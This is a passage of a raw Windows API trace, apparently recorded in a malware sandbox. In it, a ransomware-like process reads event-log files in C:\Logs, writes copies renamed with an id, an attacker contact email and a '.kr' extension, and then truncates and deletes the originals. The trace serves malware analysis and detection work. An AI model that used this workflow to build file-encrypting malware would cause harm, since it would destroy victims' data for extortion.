[0103.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.236] lstrlenW (lpString=".jpg") returned 4 [0103.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.236] lstrlenW (lpString=".doc") returned 4 [0103.236] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString=".docx") returned 5 [0103.236] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.236] lstrlenW (lpString=".pdf") returned 4 [0103.236] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString=".xls") returned 4 [0103.236] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString=".xlsx") returned 5 [0103.236] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.237] lstrlenW (lpString=".ppt") returned 4 [0103.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.237] lstrlenW (lpString=".zip") returned 4 [0103.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString=".rar") returned 4 [0103.237] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString=".bz2") returned 4 [0103.237] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString=".7z") returned 3 [0103.237] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.237] lstrlenW (lpString=".dbf") returned 4 [0103.237] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.237] lstrlenW (lpString=".1cd") returned 4 [0103.237] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.237] lstrlenW (lpString=".jpg") returned 4 [0103.237] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.237] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.238] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0103.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.238] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0103.238] CloseHandle (hObject=0x340) returned 1 [0103.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0103.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.238] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.239] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0103.240] GetLastError () returned 0x0 [0103.240] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.787] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.790] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.790] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x122, lpOverlapped=0x0) returned 1 [0103.790] SetEndOfFile (hFile=0x394) returned 1 [0103.790] CloseHandle (hObject=0x394) returned 1 [0103.793] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.793] SetEndOfFile (hFile=0x340) returned 1 [0103.794] CloseHandle (hObject=0x340) returned 1 [0103.794] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.795] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0103.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.795] lstrlenW (lpString=".doc") returned 4 [0103.795] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.795] lstrlenW (lpString=".docx") returned 5 [0103.795] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.795] lstrlenW (lpString=".pdf") returned 4 [0103.795] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.795] lstrlenW (lpString=".xls") returned 4 [0103.795] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.795] lstrlenW (lpString=".xlsx") returned 5 [0103.795] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.796] lstrlenW (lpString=".ppt") returned 4 [0103.796] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString=".zip") returned 4 [0103.796] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString=".rar") returned 4 [0103.796] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString=".bz2") returned 4 [0103.796] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString=".7z") returned 3 [0103.796] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString=".dbf") returned 4 [0103.796] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString=".1cd") returned 4 [0103.796] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString=".jpg") returned 4 [0103.796] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.796] lstrlenW (lpString=".doc") returned 4 [0103.796] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".docx") returned 5 [0103.797] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.797] lstrlenW (lpString=".pdf") returned 4 [0103.797] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".xls") returned 4 [0103.797] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".xlsx") returned 5 [0103.797] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.797] lstrlenW (lpString=".ppt") returned 4 [0103.797] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.797] lstrlenW (lpString=".zip") returned 4 [0103.797] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".rar") returned 4 [0103.797] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".bz2") returned 4 [0103.797] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString=".7z") returned 3 [0103.797] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.797] lstrlenW (lpString=".dbf") returned 4 [0103.797] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.797] lstrlenW (lpString=".1cd") returned 4 [0103.797] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0103.798] lstrlenW (lpString=".jpg") returned 4 [0103.798] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.798] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.798] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0103.798] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.798] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0103.798] CloseHandle (hObject=0x340) returned 1 [0103.798] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0103.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.799] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.799] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0103.799] GetLastError () returned 0x0 [0103.799] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.873] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.875] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.876] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x158, lpOverlapped=0x0) returned 1 [0103.876] SetEndOfFile (hFile=0x394) returned 1 [0103.876] CloseHandle (hObject=0x394) returned 1 [0103.879] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.879] SetEndOfFile (hFile=0x340) returned 1 [0103.883] CloseHandle (hObject=0x340) returned 1 [0103.883] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.884] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0103.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.884] lstrlenW (lpString=".doc") returned 4 [0103.884] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.884] lstrlenW (lpString=".docx") returned 5 [0103.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.884] lstrlenW (lpString=".pdf") returned 4 [0103.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.884] lstrlenW (lpString=".xls") returned 4 [0103.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.884] lstrlenW (lpString=".xlsx") returned 5 [0103.884] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.884] lstrlenW (lpString=".ppt") returned 4 [0103.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString=".zip") returned 4 [0103.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString=".rar") returned 4 [0103.885] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString=".bz2") returned 4 [0103.885] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString=".7z") returned 3 [0103.885] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString=".dbf") returned 4 [0103.885] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString=".1cd") returned 4 [0103.885] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString=".jpg") returned 4 [0103.885] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.885] lstrlenW (lpString=".doc") returned 4 [0103.885] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.885] lstrlenW (lpString=".docx") returned 5 [0103.885] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.885] lstrlenW (lpString=".pdf") returned 4 [0103.885] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString=".xls") returned 4 [0103.886] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString=".xlsx") returned 5 [0103.886] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.886] lstrlenW (lpString=".ppt") returned 4 [0103.886] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.886] lstrlenW (lpString=".zip") returned 4 [0103.886] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString=".rar") returned 4 [0103.886] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString=".bz2") returned 4 [0103.886] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString=".7z") returned 3 [0103.886] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.886] lstrlenW (lpString=".dbf") returned 4 [0103.886] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.886] lstrlenW (lpString=".1cd") returned 4 [0103.886] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0103.886] lstrlenW (lpString=".jpg") returned 4 [0103.886] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.887] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.887] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0103.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.887] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0103.887] CloseHandle (hObject=0x340) returned 1 [0103.887] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0103.887] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.888] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.888] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.888] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0103.888] GetLastError () returned 0x0 [0103.888] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.895] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.897] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.897] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x164, lpOverlapped=0x0) returned 1 [0103.897] SetEndOfFile (hFile=0x394) returned 1 [0103.897] CloseHandle (hObject=0x394) returned 1 [0103.900] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.900] SetEndOfFile (hFile=0x340) returned 1 [0103.902] CloseHandle (hObject=0x340) returned 1 [0103.902] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.902] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0103.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.903] lstrlenW (lpString=".doc") returned 4 [0103.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".docx") returned 5 [0103.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.903] lstrlenW (lpString=".pdf") returned 4 [0103.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".xls") returned 4 [0103.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".xlsx") returned 5 [0103.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.903] lstrlenW (lpString=".ppt") returned 4 [0103.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.903] lstrlenW (lpString=".zip") returned 4 [0103.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".rar") returned 4 [0103.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".bz2") returned 4 [0103.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.903] lstrlenW (lpString=".7z") returned 3 [0103.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.904] lstrlenW (lpString=".dbf") returned 4 [0103.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.904] lstrlenW (lpString=".1cd") returned 4 [0103.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.904] lstrlenW (lpString=".jpg") returned 4 [0103.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.904] lstrlenW (lpString=".doc") returned 4 [0103.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString=".docx") returned 5 [0103.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.904] lstrlenW (lpString=".pdf") returned 4 [0103.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString=".xls") returned 4 [0103.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString=".xlsx") returned 5 [0103.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.904] lstrlenW (lpString=".ppt") returned 4 [0103.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0103.905] lstrlenW (lpString=".zip") returned 4 [0103.905] 